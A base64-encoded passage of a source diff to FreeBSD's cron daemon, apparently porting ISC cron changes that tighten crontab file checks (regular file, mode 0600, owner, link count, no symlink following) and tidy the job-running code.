Ki8KIAkJbG9nX2l0KGZuYW1lLCBnZXRwaWQoKSwgIk9SUEhBTiIsICJubyBwYXNzd2QgZW50cnki KTsKIAkJZ290byBuZXh0X2Nyb250YWI7CiAJfQogCi0JaWYgKChjcm9udGFiX2ZkID0gb3Blbih0 YWJuYW1lLCBPX1JET05MWSwgMCkpIDwgT0spIHsKKwlpZiAoKGNyb250YWJfZmQgPSBvcGVuKHRh Ym5hbWUsIE9fUkRPTkxZfE9fTk9OQkxPQ0t8T19OT0ZPTExPVywgMCkpIDwgT0spIHsKIAkJLyog Y3JvbnRhYiBub3QgYWNjZXNzaWJsZT8KIAkJICovCiAJCWxvZ19pdChmbmFtZSwgZ2V0cGlkKCks ICJDQU4nVCBPUEVOIiwgdGFibmFtZSk7CkBAIC0yMjMsNiArMjAyLDIzIEBACiAJCWxvZ19pdChm bmFtZSwgZ2V0cGlkKCksICJGU1RBVCBGQUlMRUQiLCB0YWJuYW1lKTsKIAkJZ290byBuZXh0X2Ny b250YWI7CiAJfQorCWlmICghU19JU1JFRyhzdGF0YnVmLT5zdF9tb2RlKSkgeworCQlsb2dfaXQo Zm5hbWUsIGdldHBpZCgpLCAiTk9UIFJFR1VMQVIiLCB0YWJuYW1lKTsKKwkJZ290byBuZXh0X2Ny b250YWI7CisJfQorCWlmICgoc3RhdGJ1Zi0+c3RfbW9kZSAmIDA3Nzc3KSAhPSAwNjAwKSB7CisJ CWxvZ19pdChmbmFtZSwgZ2V0cGlkKCksICJCQUQgRklMRSBNT0RFIiwgdGFibmFtZSk7CisJCWdv dG8gbmV4dF9jcm9udGFiOworCX0KKwlpZiAoc3RhdGJ1Zi0+c3RfdWlkICE9IFJPT1RfVUlEICYm IChwdyA9PSBOVUxMIHx8CisJICAgIHN0YXRidWYtPnN0X3VpZCAhPSBwdy0+cHdfdWlkIHx8IHN0 cmNtcCh1bmFtZSwgcHctPnB3X25hbWUpICE9IDApKSB7CisJCWxvZ19pdChmbmFtZSwgZ2V0cGlk KCksICJXUk9ORyBGSUxFIE9XTkVSIiwgdGFibmFtZSk7CisJCWdvdG8gbmV4dF9jcm9udGFiOwor CX0KKwlpZiAoc3RhdGJ1Zi0+c3RfbmxpbmsgIT0gMSkgeworCQlsb2dfaXQoZm5hbWUsIGdldHBp ZCgpLCAiQkFEIExJTksgQ09VTlQiLCB0YWJuYW1lKTsKKwkJZ290byBuZXh0X2Nyb250YWI7CisJ fQogCiAJRGVidWcoRExPQUQsICgiXHQlczoiLCBmbmFtZSkpCiAJdSA9IGZpbmRfdXNlcihvbGRf ZGIsIGZuYW1lKTsKQEAgLTI1NSw3ICsyNTEsNyBAQAogCQlsaW5rX3VzZXIobmV3X2RiLCB1KTsK IAl9CiAKLW5leHRfY3JvbnRhYjoKKyBuZXh0X2Nyb250YWI6CiAJaWYgKGNyb250YWJfZmQgPj0g T0spIHsKIAkJRGVidWcoRExPQUQsICgiIFtkb25lXVxuIikpCiAJCWNsb3NlKGNyb250YWJfZmQp OwpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2RvX2NvbW1hbmQuYyBmcmVl YnNkX2Nyb24vY3Jvbi9kb19jb21tYW5kLmMKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vY3Jv bi9kb19jb21tYW5kLmMJMjAxNC0wMS0xNiAyMTo0Mzo0OS4wMDAwMDAwMDAgKzAxMDAKKysrIGZy ZWVic2RfY3Jvbi9jcm9uL2RvX2NvbW1hbmQuYwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3MjQ0NDI3 NiArMDIwMApAQCAtMSw1NCArMSw0OSBAQAogLyogQ29weXJpZ2h0IDE5ODgsMTk5MCwxOTkzLDE5 OTQgYnkgUGF1bCBWaXhpZQogICogQWxsIHJpZ2h0cyByZXNlcnZlZAorICovCisKKy8qCisgKiBD b3B5cmlnaHQgKGMpIDIwMDQgYnkgSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtLCBJbmMuICgi SVNDIikKKyAqIENvcHlyaWdodCAoYykgMTk5NywyMDAwIGJ5IEludGVybmV0IFNvZnR3YXJlIENv bnNvcnRpdW0sIEluYy4KICAqCi0gKiBEaXN0cmlidXRlIGZyZWVseSwgZXhjZXB0OiBkb24ndCBy ZW1vdmUgbXkgbmFtZSBmcm9tIHRoZSBzb3VyY2Ugb3IKLSAqIGRvY3VtZW50YXRpb24gKGRvbid0 IHRha2UgY3JlZGl0IGZvciBteSB3b3JrKSwgbWFyayB5b3VyIGNoYW5nZXMgKGRvbid0Ci0gKiBn ZXQgbWUgYmxhbWVkIGZvciB5b3VyIHBvc3NpYmxlIGJ1Z3MpLCBkb24ndCBhbHRlciBvciByZW1v dmUgdGhpcwotICogbm90aWNlLiAgTWF5IGJlIHNvbGQgaWYgYnVpbGRhYmxlIHNvdXJjZSBpcyBw cm92aWRlZCB0byBidXllci4gIE5vCi0gKiB3YXJyYW50ZWUgb2YgYW55IGtpbmQsIGV4cHJlc3Mg b3IgaW1wbGllZCwgaXMgaW5jbHVkZWQgd2l0aCB0aGlzCi0gKiBzb2Z0d2FyZTsgdXNlIGF0IHlv dXIgb3duIHJpc2ssIHJlc3BvbnNpYmlsaXR5IGZvciBkYW1hZ2VzIChpZiBhbnkpIHRvCi0gKiBh bnlvbmUgcmVzdWx0aW5nIGZyb20gdGhlIHVzZSBvZiB0aGlzIHNvZnR3YXJlIHJlc3RzIGVudGly ZWx5IHdpdGggdGhlCi0gKiB1c2VyLgorICogUGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlm eSwgYW5kIGRpc3RyaWJ1dGUgdGhpcyBzb2Z0d2FyZSBmb3IgYW55CisgKiBwdXJwb3NlIHdpdGgg b3Igd2l0aG91dCBmZWUgaXMgaGVyZWJ5IGdyYW50ZWQsIHByb3ZpZGVkIHRoYXQgdGhlIGFib3Zl CisgKiBjb3B5cmlnaHQgbm90aWNlIGFuZCB0aGlzIHBlcm1pc3Npb24gbm90aWNlIGFwcGVhciBp biBhbGwgY29waWVzLgogICoKLSAqIFNlbmQgYnVnIHJlcG9ydHMsIGJ1ZyBmaXhlcywgZW5oYW5j ZW1lbnRzLCByZXF1ZXN0cywgZmxhbWVzLCBldGMuLCBhbmQKLSAqIEknbGwgdHJ5IHRvIGtlZXAg YSB2ZXJzaW9uIHVwIHRvIGRhdGUuICBJIGNhbiBiZSByZWFjaGVkIGFzIGZvbGxvd3M6Ci0gKiBQ YXVsIFZpeGllICAgICAgICAgIDxwYXVsQHZpeC5jb20+ICAgICAgICAgIHV1bmV0IWRlY3dybCF2 aXhpZSFwYXVsCisgKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiBBTkQgSVNDIERJ U0NMQUlNUyBBTEwgV0FSUkFOVElFUworICogV0lUSCBSRUdBUkQgVE8gVEhJUyBTT0ZUV0FSRSBJ TkNMVURJTkcgQUxMIElNUExJRUQgV0FSUkFOVElFUyBPRgorICogTUVSQ0hBTlRBQklMSVRZIEFO RCBGSVRORVNTLiAgSU4gTk8gRVZFTlQgU0hBTEwgSVNDIEJFIExJQUJMRSBGT1IKKyAqIEFOWSBT UEVDSUFMLCBESVJFQ1QsIElORElSRUNULCBPUiBDT05TRVFVRU5USUFMIERBTUFHRVMgT1IgQU5Z IERBTUFHRVMKKyAqIFdIQVRTT0VWRVIgUkVTVUxUSU5HIEZST00gTE9TUyBPRiBVU0UsIERBVEEg T1IgUFJPRklUUywgV0hFVEhFUiBJTiBBTgorICogQUNUSU9OIE9GIENPTlRSQUNULCBORUdMSUdF TkNFIE9SIE9USEVSIFRPUlRJT1VTIEFDVElPTiwgQVJJU0lORyBPVVQKKyAqIE9GIE9SIElOIENP Tk5FQ1RJT04gV0lUSCBUSEUgVVNFIE9SIFBFUkZPUk1BTkNFIE9GIFRISVMgU09GVFdBUkUuCiAg Ki8KIAotI2lmICFkZWZpbmVkKGxpbnQpICYmICFkZWZpbmVkKExJTlQpCi1zdGF0aWMgY29uc3Qg Y2hhciByY3NpZFtdID0KLSAgIiRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9u L2Nyb24vZG9fY29tbWFuZC5jIDIyODk5MCAyMDExLTEyLTMwIDEwOjU4OjE0WiB1cXMgJCI7Ci0j ZW5kaWYKLQorLy8jaWYgIWRlZmluZWQobGludCkgJiYgIWRlZmluZWQoTElOVCkKKy8vc3RhdGlj IGNoYXIgcmNzaWRbXSA9ICIkSWQ6IGRvX2NvbW1hbmQuYyx2IDEuOSAyMDA0LzAxLzIzIDE4OjU2 OjQyIHZpeGllIEV4cCAkIjsKKy8vI2VuZGlmCiAKICNpbmNsdWRlICJjcm9uLmgiCi0jaW5jbHVk ZSA8c3lzL3NpZ25hbC5oPgorCiAjaWYgZGVmaW5lZChzZXF1ZW50KQogIyBpbmNsdWRlIDxzeXMv dW5pdmVyc2UuaD4KICNlbmRpZgotI2lmIGRlZmluZWQoU1lTTE9HKQotIyBpbmNsdWRlIDxzeXNs b2cuaD4KLSNlbmRpZgorCiAjaWYgZGVmaW5lZChMT0dJTl9DQVApCiAjIGluY2x1ZGUgPGxvZ2lu X2NhcC5oPgogI2VuZGlmCisKICNpZmRlZiBQQU0KICMgaW5jbHVkZSA8c2VjdXJpdHkvcGFtX2Fw cGwuaD4KICMgaW5jbHVkZSA8c2VjdXJpdHkvb3BlbnBhbS5oPgogI2VuZGlmCi0KLQotc3RhdGlj IHZvaWQJCWNoaWxkX3Byb2Nlc3MoZW50cnkgKiwgdXNlciAqKSwKLQkJCWRvX3VuaXYodXNlciAq KTsKLQorc3RhdGljIHZvaWQJCWNoaWxkX3Byb2Nlc3MoZW50cnkgKiwgdXNlciAqKTsKK3N0YXRp YyBpbnQJCXNhZmVfcChjb25zdCBjaGFyICosIGNvbnN0IGNoYXIgKik7CiAKIHZvaWQKLWRvX2Nv bW1hbmQoZSwgdSkKLQllbnRyeQkqZTsKLQl1c2VyCSp1OwoteworZG9fY29tbWFuZChlbnRyeSAq ZSwgdXNlciAqdSkgewogCURlYnVnKERQUk9DLCAoIlslZF0gZG9fY29tbWFuZCglcywgKCVzLCVk LCVkKSlcbiIsCi0JCWdldHBpZCgpLCBlLT5jbWQsIHUtPm5hbWUsIGUtPnVpZCwgZS0+Z2lkKSkK KwkJICAgICAgZ2V0cGlkKCksIGUtPmNtZCwgdS0+bmFtZSwgZS0+dWlkLCBlLT5naWQpKQogCiAJ LyogZm9yayB0byBiZWNvbWUgYXN5bmNocm9ub3VzIC0tIHBhcmVudCBwcm9jZXNzIGlzIGRvbmUg aW1tZWRpYXRlbHksCiAJICogYW5kIGNvbnRpbnVlcyB0byBydW4gdGhlIG5vcm1hbCBjcm9uIGNv ZGUsIHdoaWNoIG1lYW5zIHJldHVybiB0bwpAQCAtNTksNDEgKzU0LDM4IEBACiAJICovCiAJc3dp dGNoIChmb3JrKCkpIHsKIAljYXNlIC0xOgotCQlsb2dfaXQoIkNST04iLGdldHBpZCgpLCJlcnJv ciIsImNhbid0IGZvcmsiKTsKKwkJbG9nX2l0KCJDUk9OIiwgZ2V0cGlkKCksICJlcnJvciIsICJj YW4ndCBmb3JrIik7CiAJCWJyZWFrOwogCWNhc2UgMDoKIAkJLyogY2hpbGQgcHJvY2VzcyAqLwog CQlwaWRmaWxlX2Nsb3NlKHBmaCk7CiAJCWNoaWxkX3Byb2Nlc3MoZSwgdSk7Ci0JCURlYnVnKERQ Uk9DLCAoIlslZF0gY2hpbGQgcHJvY2VzcyBkb25lLCBleGl0aW5nXG4iLCBnZXRwaWQoKSkpCisJ CURlYnVnKERQUk9DLCAoIlslbGRdIGNoaWxkIHByb2Nlc3MgZG9uZSwgZXhpdGluZ1xuIiwKKwkJ CSAgICAgIChsb25nKWdldHBpZCgpKSkKIAkJX2V4aXQoT0tfRVhJVCk7CiAJCWJyZWFrOwogCWRl ZmF1bHQ6CiAJCS8qIHBhcmVudCBwcm9jZXNzICovCiAJCWJyZWFrOwogCX0KLQlEZWJ1ZyhEUFJP QywgKCJbJWRdIG1haW4gcHJvY2VzcyByZXR1cm5pbmcgdG8gd29ya1xuIiwgZ2V0cGlkKCkpKQor CURlYnVnKERQUk9DLCAoIlslbGRdIG1haW4gcHJvY2VzcyByZXR1cm5pbmcgdG8gd29ya1xuIiwo bG9uZylnZXRwaWQoKSkpCiB9CiAKLQogc3RhdGljIHZvaWQKLWNoaWxkX3Byb2Nlc3MoZSwgdSkK LQllbnRyeQkqZTsKLQl1c2VyCSp1OwotewotCWludAkJc3RkaW5fcGlwZVsyXSwgc3Rkb3V0X3Bp cGVbMl07Ci0JcmVnaXN0ZXIgY2hhcgkqaW5wdXRfZGF0YTsKLQljaGFyCQkqdXNlcm5tLCAqbWFp bHRvOwotCWludAkJY2hpbGRyZW4gPSAwOworY2hpbGRfcHJvY2VzcyhlbnRyeSAqZSwgdXNlciAq dSkgeworCWludCBzdGRpbl9waXBlWzJdLCBzdGRvdXRfcGlwZVsyXTsKKwljaGFyICppbnB1dF9k YXRhLCAqdXNlcm5tLCAqbWFpbHRvOworCWludCBjaGlsZHJlbiA9IDA7CisKICMgaWYgZGVmaW5l ZChMT0dJTl9DQVApCi0Jc3RydWN0IHBhc3N3ZAkqcHdkOworCXN0cnVjdCBwYXNzd2QgKnB3ZDsK IAlsb2dpbl9jYXBfdCAqbGM7CiAjIGVuZGlmCiAKLQlEZWJ1ZyhEUFJPQywgKCJbJWRdIGNoaWxk X3Byb2Nlc3MoJyVzJylcbiIsIGdldHBpZCgpLCBlLT5jbWQpKQorCURlYnVnKERQUk9DLCAoIlsl bGRdIGNoaWxkX3Byb2Nlc3MoJyVzJylcbiIsIChsb25nKWdldHBpZCgpLCBlLT5jbWQpKQogCi0J LyogbWFyayBvdXJzZWx2ZXMgYXMgZGlmZmVyZW50IHRvIFBTIGNvbW1hbmQgd2F0Y2hlcnMgYnkg dXBzaGlmdGluZwotCSAqIG91ciBwcm9ncmFtIG5hbWUuICBUaGlzIGhhcyBubyBlZmZlY3Qgb24g c29tZSBrZXJuZWxzLgorCS8qIG1hcmsgb3Vyc2VsdmVzIGFzIGRpZmZlcmVudCB0byBQUyBjb21t YW5kIHdhdGNoZXJzIGJ5IHVwc2hpdGluZworCSAqIG91ciBwcm9ncmFtIG5hbWUuIFRoaXMgaGFz IG5vIGVmZmVjdCBvbiBzb21lIGtlcm5lbHMuCiAJICovCiAJc2V0cHJvY3RpdGxlKCJydW5uaW5n IGpvYiIpOwogCkBAIC0xMDMsODggKzk1LDgwIEBACiAJbWFpbHRvID0gZW52X2dldCgiTUFJTFRP IiwgZS0+ZW52cCk7CiAKICNpZmRlZiBQQU0KLQkvKiB1c2UgUEFNIHRvIHNlZSBpZiB0aGUgdXNl cidzIGFjY291bnQgaXMgYXZhaWxhYmxlLAotCSAqIGkuZS4sIG5vdCBsb2NrZWQgb3IgZXhwaXJl ZCBvciB3aGF0ZXZlci4gIHNraXAgdGhpcwotCSAqIGZvciBzeXN0ZW0gdGFza3MgZnJvbSAvZXRj L2Nyb250YWIgLS0gdGhleSBjYW4gcnVuCi0JICogYXMgYW55IHVzZXIuCi0JICovCi0JaWYgKHN0 cmNtcCh1LT5uYW1lLCBTWVNfTkFNRSkpIHsJLyogbm90IGVxdWFsICovCi0JCXBhbV9oYW5kbGVf dCAqcGFtaCA9IE5VTEw7Ci0JCWludCBwYW1fZXJyOwotCQlzdHJ1Y3QgcGFtX2NvbnYgcGFtYyA9 IHsKLQkJCS5jb252ID0gb3BlbnBhbV9udWxsY29udiwKLQkJCS5hcHBkYXRhX3B0ciA9IE5VTEwK LQkJfTsKLQotCQlEZWJ1ZyhEUFJPQywgKCJbJWRdIGNoZWNraW5nIGFjY291bnQgd2l0aCBQQU1c biIsIGdldHBpZCgpKSkKLQotCQkvKiB1LT5uYW1lIGtlZXBzIGNyb250YWIgb3duZXIgbmFtZSB3 aGlsZSBMT0dOQU1FIGlzIHRoZSBuYW1lCi0JCSAqIG9mIHVzZXIgdG8gcnVuIGNvbW1hbmQgb24g YmVoYWxmIG9mLiAgdGhleSBzaG91bGQgYmUgdGhlCi0JCSAqIHNhbWUgZm9yIGEgdGFzayBmcm9t IGEgcGVyLXVzZXIgY3JvbnRhYi4KLQkJICovCi0JCWlmIChzdHJjbXAodS0+bmFtZSwgdXNlcm5t KSkgewotCQkJbG9nX2l0KHVzZXJubSwgZ2V0cGlkKCksICJ1c2VybmFtZSBhbWJpZ3VpdHkiLCB1 LT5uYW1lKTsKLQkJCWV4aXQoRVJST1JfRVhJVCk7Ci0JCX0KLQotCQlwYW1fZXJyID0gcGFtX3N0 YXJ0KCJjcm9uIiwgdXNlcm5tLCAmcGFtYywgJnBhbWgpOwotCQlpZiAocGFtX2VyciAhPSBQQU1f U1VDQ0VTUykgewotCQkJbG9nX2l0KCJDUk9OIiwgZ2V0cGlkKCksICJlcnJvciIsICJjYW4ndCBz dGFydCBQQU0iKTsKLQkJCWV4aXQoRVJST1JfRVhJVCk7Ci0JCX0KKyAgICAgICAgLyogdXNlIFBB TSB0byBzZWUgaWYgdGhlIHVzZXIncyBhY2NvdW50IGlzIGF2YWlsYWJsZSwKKyAgICAgICAgICog aS5lLiwgbm90IGxvY2tlZCBvciBleHBpcmVkIG9yIHdoYXRldmVyLiAgc2tpcCB0aGlzCisgICAg ICAgICAqIGZvciBzeXN0ZW0gdGFza3MgZnJvbSAvZXRjL2Nyb250YWIgLS0gdGhleSBjYW4gcnVu CisgICAgICAgICAqIGFzIGFueSB1c2VyLgorICAgICAgICAgKi8KKyAgICAgICAgaWYgKHN0cmNt cCh1LT5uYW1lLCBTWVNfTkFNRSkpIHsgICAgICAgIC8qIG5vdCBlcXVhbCAqLworICAgICAgICAg ICAgICAgIHBhbV9oYW5kbGVfdCAqcGFtaCA9IE5VTEw7CisgICAgICAgICAgICAgICAgaW50IHBh bV9lcnI7CisgICAgICAgICAgICAgICAgc3RydWN0IHBhbV9jb252IHBhbWMgPSB7CisgICAgICAg ICAgICAgICAgICAgICAgICAuY29udiA9IG9wZW5wYW1fbnVsbGNvbnYsCisgICAgICAgICAgICAg ICAgICAgICAgICAuYXBwZGF0YV9wdHIgPSBOVUxMCisgICAgICAgICAgICAgICAgfTsKKworICAg ICAgICAgICAgICAgIERlYnVnKERQUk9DLCAoIlslZF0gY2hlY2tpbmcgYWNjb3VudCB3aXRoIFBB TVxuIiwgZ2V0cGlkKCkpKQorCisgICAgICAgICAgICAgICAgLyogdS0+bmFtZSBrZWVwcyBjcm9u dGFiIG93bmVyIG5hbWUgd2hpbGUgTE9HTkFNRSBpcyB0aGUgbmFtZQorICAgICAgICAgICAgICAg ICAqIG9mIHVzZXIgdG8gcnVuIGNvbW1hbmQgb24gYmVoYWxmIG9mLiAgdGhleSBzaG91bGQgYmUg dGhlCisgICAgICAgICAgICAgICAgICogc2FtZSBmb3IgYSB0YXNrIGZyb20gYSBwZXItdXNlciBj cm9udGFiLgorICAgICAgICAgICAgICAgICAqLworICAgICAgICAgICAgICAgIGlmIChzdHJjbXAo dS0+bmFtZSwgdXNlcm5tKSkgeworICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2l0KHVzZXJu bSwgZ2V0cGlkKCksICJ1c2VybmFtZSBhbWJpZ3VpdHkiLCB1LT5uYW1lKTsKKyAgICAgICAgICAg ICAgICAgICAgICAgIGV4aXQoRVJST1JfRVhJVCk7CisgICAgICAgICAgICAgICAgfQorCisgICAg ICAgICAgICAgICAgcGFtX2VyciA9IHBhbV9zdGFydCgiY3JvbiIsIHVzZXJubSwgJnBhbWMsICZw YW1oKTsKKyAgICAgICAgICAgICAgICBpZiAocGFtX2VyciAhPSBQQU1fU1VDQ0VTUykgeworICAg ICAgICAgICAgICAgICAgICAgICAgbG9nX2l0KCJDUk9OIiwgZ2V0cGlkKCksICJlcnJvciIsICJj YW4ndCBzdGFydCBQQU0iKTsKKyAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVJST1JfRVhJ VCk7CisgICAgICAgICAgICAgICAgfQorCisgICAgICAgICAgICAgICAgcGFtX2VyciA9IHBhbV9h Y2N0X21nbXQocGFtaCwgUEFNX1NJTEVOVCk7CisgICAgICAgICAgICAgICAgLyogRXhwaXJlZCBw YXNzd29yZCBzaG91bGRuJ3QgcHJldmVudCB0aGUgam9iIGZyb20gcnVubmluZy4gKi8KKyAgICAg ICAgICAgICAgICBpZiAocGFtX2VyciAhPSBQQU1fU1VDQ0VTUyAmJiBwYW1fZXJyICE9IFBBTV9O RVdfQVVUSFRPS19SRVFEKSB7CisgICAgICAgICAgICAgICAgICAgICAgICBsb2dfaXQodXNlcm5t LCBnZXRwaWQoKSwgIlVTRVIiLCAiYWNjb3VudCB1bmF2YWlsYWJsZSIpOworICAgICAgICAgICAg ICAgICAgICAgICAgZXhpdChFUlJPUl9FWElUKTsKKyAgICAgICAgICAgICAgICB9CiAKLQkJcGFt X2VyciA9IHBhbV9hY2N0X21nbXQocGFtaCwgUEFNX1NJTEVOVCk7Ci0JCS8qIEV4cGlyZWQgcGFz c3dvcmQgc2hvdWxkbid0IHByZXZlbnQgdGhlIGpvYiBmcm9tIHJ1bm5pbmcuICovCi0JCWlmIChw YW1fZXJyICE9IFBBTV9TVUNDRVNTICYmIHBhbV9lcnIgIT0gUEFNX05FV19BVVRIVE9LX1JFUUQp IHsKLQkJCWxvZ19pdCh1c2Vybm0sIGdldHBpZCgpLCAiVVNFUiIsICJhY2NvdW50IHVuYXZhaWxh YmxlIik7Ci0JCQlleGl0KEVSUk9SX0VYSVQpOwotCQl9Ci0KLQkJcGFtX2VuZChwYW1oLCBwYW1f ZXJyKTsKLQl9CisgICAgICAgICAgICAgICAgcGFtX2VuZChwYW1oLCBwYW1fZXJyKTsKKyAgICAg ICAgfQogI2VuZGlmCiAKLSNpZmRlZiBVU0VfU0lHQ0hMRAogCS8qIG91ciBwYXJlbnQgaXMgd2F0 Y2hpbmcgZm9yIG91ciBkZWF0aCBieSBjYXRjaGluZyBTSUdDSExELiAgd2UKIAkgKiBkbyBub3Qg Y2FyZSB0byB3YXRjaCBmb3Igb3VyIGNoaWxkcmVuJ3MgZGVhdGhzIHRoaXMgd2F5IC0tIHdlCi0J ICogdXNlIHdhaXQoKSBleHBsaWNpdGx5LiAgc28gd2UgaGF2ZSB0byBkaXNhYmxlIHRoZSBzaWdu YWwgKHdoaWNoCisJICogdXNlIHdhaXQoKSBleHBsaWNpdGx5LiAgc28gd2UgaGF2ZSB0byByZXNl dCB0aGUgc2lnbmFsICh3aGljaAogCSAqIHdhcyBpbmhlcml0ZWQgZnJvbSB0aGUgcGFyZW50KS4K IAkgKi8KIAkodm9pZCkgc2lnbmFsKFNJR0NITEQsIFNJR19ERkwpOwotI2Vsc2UKLQkvKiBvbiBz eXN0ZW0tViBzeXN0ZW1zLCB3ZSBhcmUgaWdub3JpbmcgU0lHQ0xELiAgd2UgaGF2ZSB0byBzdG9w Ci0JICogaWdub3JpbmcgaXQgbm93IG9yIHRoZSB3YWl0KCkgaW4gY3Jvbl9wY2xvc2UoKSB3b24n dCB3b3JrLgotCSAqIGJlY2F1c2Ugb2YgdGhpcywgd2UgaGF2ZSB0byB3YWl0KCkgZm9yIG91ciBj aGlsZHJlbiBoZXJlLCBhcyB3ZWxsLgotCSAqLwotCSh2b2lkKSBzaWduYWwoU0lHQ0xELCBTSUdf REZMKTsKLSNlbmRpZiAvKkJTRCovCiAKIAkvKiBjcmVhdGUgc29tZSBwaXBlcyB0byB0YWxrIHRv IG91ciBmdXR1cmUgY2hpbGQKIAkgKi8KIAlwaXBlKHN0ZGluX3BpcGUpOwkvKiBjaGlsZCdzIHN0 ZGluICovCiAJcGlwZShzdGRvdXRfcGlwZSk7CS8qIGNoaWxkJ3Mgc3Rkb3V0ICovCi0KKwkKIAkv KiBzaW5jZSB3ZSBhcmUgYSBmb3JrZWQgcHJvY2Vzcywgd2UgY2FuIGRpZGRsZSB0aGUgY29tbWFu ZCBzdHJpbmcKIAkgKiB3ZSB3ZXJlIHBhc3NlZCAtLSBub2JvZHkgZWxzZSBpcyBnb2luZyB0byB1 c2UgaXQgYWdhaW4sIHJpZ2h0PwogCSAqCiAJICogaWYgYSAlIGlzIHByZXNlbnQgaW4gdGhlIGNv bW1hbmQsIHByZXZpb3VzIGNoYXJhY3RlcnMgYXJlIHRoZQogCSAqIGNvbW1hbmQsIGFuZCBzdWJz ZXF1ZW50IGNoYXJhY3RlcnMgYXJlIHRoZSBhZGRpdGlvbmFsIGlucHV0IHRvCi0JICogdGhlIGNv bW1hbmQuICBTdWJzZXF1ZW50ICUncyB3aWxsIGJlIHRyYW5zZm9ybWVkIGludG8gbmV3bGluZXMs CisJICogdGhlIGNvbW1hbmQuICBBbiBlc2NhcGVkICUgd2lsbCBoYXZlIHRoZSBlc2NhcGUgY2hh cmFjdGVyIHN0cmlwcGVkCisJICogZnJvbSBpdC4gIFN1YnNlcXVlbnQgJSdzIHdpbGwgYmUgdHJh bnNmb3JtZWQgaW50byBuZXdsaW5lcywKIAkgKiBidXQgdGhhdCBoYXBwZW5zIGxhdGVyLgotCSAq Ci0JICogSWYgdGhlcmUgYXJlIGVzY2FwZWQgJSdzLCByZW1vdmUgdGhlIGVzY2FwZSBjaGFyYWN0 ZXIuCiAJICovCiAJLypsb2NhbCovewotCQlyZWdpc3RlciBpbnQgZXNjYXBlZCA9IEZBTFNFOwot CQlyZWdpc3RlciBpbnQgY2g7Ci0JCXJlZ2lzdGVyIGNoYXIgKnA7CisJCWludCBlc2NhcGVkID0g RkFMU0U7CisJCWludCBjaDsKKwkJY2hhciAqcDsKIAotCQlmb3IgKGlucHV0X2RhdGEgPSBwID0g ZS0+Y21kOyAoY2ggPSAqaW5wdXRfZGF0YSk7CisJCWZvciAoaW5wdXRfZGF0YSA9IHAgPSBlLT5j bWQ7CisJCSAgICAgKGNoID0gKmlucHV0X2RhdGEpICE9ICdcMCc7CiAJCSAgICAgaW5wdXRfZGF0 YSsrLCBwKyspIHsKIAkJCWlmIChwICE9IGlucHV0X2RhdGEpCi0JCQkgICAgKnAgPSBjaDsKKwkJ CQkqcCA9IGNoOwogCQkJaWYgKGVzY2FwZWQpIHsKLQkJCQlpZiAoY2ggPT0gJyUnIHx8IGNoID09 ICdcXCcpCisJCQkJaWYgKGNoID09ICclJykKIAkJCQkJKi0tcCA9IGNoOwogCQkJCWVzY2FwZWQg PSBGQUxTRTsKIAkJCQljb250aW51ZTsKQEAgLTIwNSwyNiArMTg5LDI0IEBACiAJICovCiAJc3dp dGNoICh2Zm9yaygpKSB7CiAJY2FzZSAtMToKLQkJbG9nX2l0KCJDUk9OIixnZXRwaWQoKSwiZXJy b3IiLCJjYW4ndCB2Zm9yayIpOworCQlsb2dfaXQoIkNST04iLCBnZXRwaWQoKSwgImVycm9yIiwg ImNhbid0IHZmb3JrIik7CiAJCWV4aXQoRVJST1JfRVhJVCk7CiAJCS8qTk9UUkVBQ0hFRCovCiAJ Y2FzZSAwOgotCQlEZWJ1ZyhEUFJPQywgKCJbJWRdIGdyYW5kY2hpbGQgcHJvY2VzcyBWZm9yaygp J2VkXG4iLAotCQkJICAgICAgZ2V0cGlkKCkpKQotCisJCURlYnVnKERQUk9DLCAoIlslbGRdIGdy YW5kY2hpbGQgcHJvY2VzcyB2Zm9yaygpJ2VkXG4iLAorCQkJICAgICAgKGxvbmcpZ2V0cGlkKCkp KQogCQlpZiAoZS0+dWlkID09IFJPT1RfVUlEKQogCQkJSml0dGVyID0gUm9vdEppdHRlcjsKIAkJ aWYgKEppdHRlciAhPSAwKSB7CiAJCQlzcmFuZG9tKGdldHBpZCgpKTsKIAkJCXNsZWVwKHJhbmRv bSgpICUgSml0dGVyKTsKIAkJfQotCiAJCS8qIHdyaXRlIGEgbG9nIG1lc3NhZ2UuICB3ZSd2ZSB3 YWl0ZWQgdGhpcyBsb25nIHRvIGRvIGl0CiAJCSAqIGJlY2F1c2UgaXQgd2FzIG5vdCB1bnRpbCBu b3cgdGhhdCB3ZSBrbmV3IHRoZSBQSUQgdGhhdAogCQkgKiB0aGUgYWN0dWFsIHVzZXIgY29tbWFu ZCBzaGVsbCB3YXMgZ29pbmcgdG8gZ2V0IGFuZCB0aGUKIAkJICogUElEIGlzIHBhcnQgb2YgdGhl IGxvZyBtZXNzYWdlLgogCQkgKi8KLQkJLypsb2NhbCoveworCQlpZiAoKGUtPmZsYWdzICYgRE9O VF9MT0cpID09IDApIHsKIAkJCWNoYXIgKnggPSBta3ByaW50cygodV9jaGFyICopZS0+Y21kLCBz dHJsZW4oZS0+Y21kKSk7CiAKIAkJCWxvZ19pdCh1c2Vybm0sIGdldHBpZCgpLCAiQ01EIiwgeCk7 CkBAIC0yMzMsOSArMjE1LDcgQEAKIAogCQkvKiB0aGF0J3MgdGhlIGxhc3QgdGhpbmcgd2UnbGwg bG9nLiAgY2xvc2UgdGhlIGxvZyBmaWxlcy4KIAkJICovCi0jaWZkZWYgU1lTTE9HCi0JCWNsb3Nl bG9nKCk7Ci0jZW5kaWYKKwkJbG9nX2Nsb3NlKCk7CiAKIAkJLyogZ2V0IG5ldyBwZ3JwLCB2b2lk IHR0eSwgZXRjLgogCQkgKi8KQEAgLTI1Myw3NSArMjMzLDc1IEBACiAJCS8qIGdyYW5kY2hpbGQg cHJvY2Vzcy4gIG1ha2Ugc3Rke2luLG91dH0gYmUgdGhlIGVuZHMgb2YKIAkJICogcGlwZXMgb3Bl bmVkIGJ5IG91ciBkYWRkeTsgbWFrZSBzdGRlcnIgZ28gdG8gc3Rkb3V0LgogCQkgKi8KLQkJY2xv 